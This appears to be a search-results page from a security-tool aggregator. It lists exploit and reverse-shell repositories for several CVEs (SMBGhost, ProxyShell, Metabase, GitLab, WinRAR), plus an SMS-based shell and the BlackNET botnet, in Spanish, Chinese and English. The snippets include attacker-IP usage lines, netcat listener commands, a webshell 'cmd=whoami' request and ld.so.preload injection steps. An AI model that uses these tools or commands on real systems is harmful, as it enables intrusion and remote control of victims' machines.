34874 matches found
CVE-2026-48172
📚 Repositorio Educativo de Investigación en Seguridad Un repositorio para aprender, probar e investigar conceptos de ciberseguridad en entornos controlados. ⚡ Uso Simple Use este proyecto solo en entornos seguros y autorizados, como: Máquinas virtuales locales Contenedores Docker Entornos de...
CVE-2022-26134
CVE-2022-26134 -u URL, --url URL URL objetivo -c COMMAND, --command COMMAND Comando -i LHOST, --lhost LHOST Dirección del host de rebote -p LPORT, --lport LPORT Puerto del host de rebote -f FILE, --file FILE Escaneo por lotes...
SMShell
SMShell 基于SMS的shell的概念验证。通过短信从支持移动宽带功能的计算机发送命令并接收响应。 该工具的灵感来源于Markus Vervier对eSIM安全影响的研究，该研究在Offensivecon 2023上展示。 免责声明 这不是一个完整的C2，而是一个简单的概念验证，用于通过SMS远程执行命令。 需求 为了使shell正常工作，您需要能够发送短信的设备。受害者的计算机应配备WWAN模块，并部署了物理SIM或eSIM。 在操作员端，提供了两个工具： 使用嵌入式WWAN模块的.NET二进制文件 通过API使用外部华为MiFi的Python脚本...
CVE-2016-10033
CVE2016-10033 利用 PoC 该仓库包含在易受攻击的 WordPress 版本上利用 CVE2016-10033 所需的文件。 按照这些说明，你将能够在运行 WordPress 的容器中获得一个反向交互式 shell（非伪 TTY），该 shell 以运行 Apache 服务器的用户身份执行。 此漏洞利用不需要任何类型的身份验证或插件。只需纯 WordPress 代码 + Exim4 MTA（大多数服务器上已安装）即可从 WordPress 发送电子邮件。 CVE2016-10033 完整公告 要求 基于 Linux 的操作系统 Docker docker-compose...
CVE-2025-24813-apache-tomcat
CVE-2025-24813 Plantilla Nuclei CVE-2025–24813 root@kitploit: nuclei -l list.txt -t CVE-2025–24813.yaml ejecutar shell root@kitploit: http://target.com/updates.jsp?cmd=whoami root@kitploit:...
CVE-2022-24715
Icinga Web 2 - Ejecución remota de código autenticada 2.8.6, 2.9.6, 2.10 Ejecución remota de comandos Shell inversa Uso root@kitploit: usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL...
CVE-2021-34473-Exchange-ProxyShell
python sendwebshellmail.py https://mail16.echod.com [email protected] Single retrieval python sendwebshellmail.py https://mail16.echod.com crack Batch read emails from mail.txt and attempt to obtain SID tokens python sendwebshellmail.py https://mail16.echod.com [email protected] send on...
cve-2018-9948-9958-exp
2018-9948-9958-exp "getshellcodefrommsf.py" es un script de Python para obtener shellcode de msfvenom, luego copiar la salida al exp.pdf reemplazando el bloque de shellcode 'calc', y finalmente funciona. Ooooops, es un shellcode de reverse tcp. un código de ejemplo es así: python...
CVE-2013-2028-Exploit
CVE-2013-2028 Exploit Vulnerability details Vulnerable software: Nginx 1.3.9 -lp...
CVE-2020-0796
CVE-2020-0796 POC de ejecución remota de código c 2020 ZecOps, Inc. - https://www.zecops.com - Encuentra los errores de los atacantes POC de ejecución remota de código para CVE-2020-0796 / «SMBGhost» Resultado esperado: shell inversa con acceso de sistema. Destinado únicamente para fines...
GitLab-CVE-2021-22205-scanner
GitLab-CVE-2021-22205-扫描器 使用说明 root@kitploit: $ python3 GitLab-revshell.py -u https://gitlab.target.com -l AttackerIP -p AttackerPort 来源 https://hackerone.com/reports/1154542 从以下位置引用的代码片段：https://github.com/CsEnox/Gitlab-Exiftool-RCE/blob/main/exploit.py 免责声明： root@kitploit:...
CVE-2020-0796
使用方法 确保已安装 Python 和 ncat 。 在目标计算机上运行 calctargetoffsets.bat，然后根据脚本输出调整 SMBleedingGhost.py 文件顶部的偏移量（另请参阅下面的说明）。 使用以下命令行参数运行 ncat ： ncat -lvp 其中 是 ncat 将要监听的端口号。 使用以下命令行参数运行 SMBleedingGhost.py： SMBleedingGhost.py 其中 是目标易受攻击计算机的 IP 地址。 和 是 ncat 正在监听的 IP 地址和端口号。 如果一切顺利，ncat 将显示一个 shell，提供对目标计算机的系统访问权限...
CVE-2017-14187_PoC_ARMv7
CVE-2017-14187 PoC FortiOS 5.6.0 至 5.6.2、5.4.0 至 5.4.8 及 5.2 以下版本的本地权限提升概念验证 通过 fnsysctl 和 USB 触发（因此需要物理访问）。 此 PoC 通过利用 CVE-2017-14187 来生成本地 root shell。 分析文章 韩文 英文 TL;DR 1. fnsysctl cp /usb/payloadpathfile /etc/ld.so.preload 2. fnsysctl ls - LDPRELOAD 注入 - 任意代码执行 - LPE（受限 shell 逃逸） 从源码构建...
Samba-CVE-2007-2447-Exploit-Username-Map-Script
Samba CVE-2007-2447 Exploit Username Map Script Este repositorio contiene un script de Python diseñado para automatizar la explotación de la vulnerabilidad CVE-2007-2447 en servidores Samba versiones 3.0.20 a 3.0.25rc3. Esta herramienta ha sido desarrollada con fines exclusivamente educativos y...
CVE-2019-18935-bypasswaf
CVE-2019-18935-bypasswaf 修改原项目：https://github.com/noperator/CVE-2019-18935 1. 攻击恶意payload从cookie中传入 2. metadata数据以加密接口传入并反序列化 3. 默认代理127.0.0.1:8080 4. 默认攻击负载为哥斯拉内存马 密码：pass key AESbase64加密器 想使用自己的内存马逻辑可参考该项目： https://github.com/dust-life/CVE-2019-18935-memShell 使用命令: python CVE-2019-18935.py -v...
CVE-2023-38646
Metabase 预认证RCE POC - CVE-2023-38646 Metabase开源版0.46.6.1之前及Metabase企业版1.46.6.1之前存在漏洞，允许攻击者在服务器上执行任意命令。我直接编写了脚本以在攻击者机器上获取反向shell。 用法 该脚本需要目标URL、攻击者IP和端口。此漏洞利用无需提供设置令牌，因为脚本会尝试从 /api/session/properties 获取它。 确保在攻击者机器上启动netcat监听器，使用以下命令： nc -nlvp Port 运行POC脚本时使用： -u - 目标URL Metabase -ip - 攻击者IP -p - 端...
CVE-2023-38831-winrar-expoit-simple-Poc
CVE-2023-38831-winrar-expoit-simple-Poc Muy importante Espero que veas este enlace primero https://github.com/b1tg/CVE-2023-38831-winrar-exploit No escribí el exploit completo. Él escribió el exploit. https://github.com/b1tg Todo lo que hizo fue modificar algo simple para obtener una Reverse Shel...
CVE-2022-41544
CVE-2022-41544 利用脚本 此仓库包含一个用于利用 GetSimple CMS 中 CVE-2022-41544 漏洞的脚本。该脚本执行多个步骤：检查漏洞、泄漏 API 密钥、设置 Cookie、获取 CSRF 令牌、上传 shell 以及触发 shell。 变更与改进 1. 弃用警告处理 ：移除了不再需要的 telnetlib 导入，该模块对脚本功能无影响。 2. 增强的错误处理 ：为 HTTP 请求和 XML 解析增加了更稳健的错误处理。 3. 改进的用户反馈 ：为每一步提供详细反馈，帮助用户了解脚本进度和遇到的问题。 4. 输入验证...
BlackNET
BlackNET 😈 Botnet de Windows gratuito, avanzado y moderno con un panel PHP bonito y seguro desarrollado con VB.NET. Acerca de BlackNET 🤓 Botnet de Windows gratuito, avanzado y moderno con un panel PHP bonito y seguro construido con VB.NET. Este controlador de botnets viene con muchas funciones y ...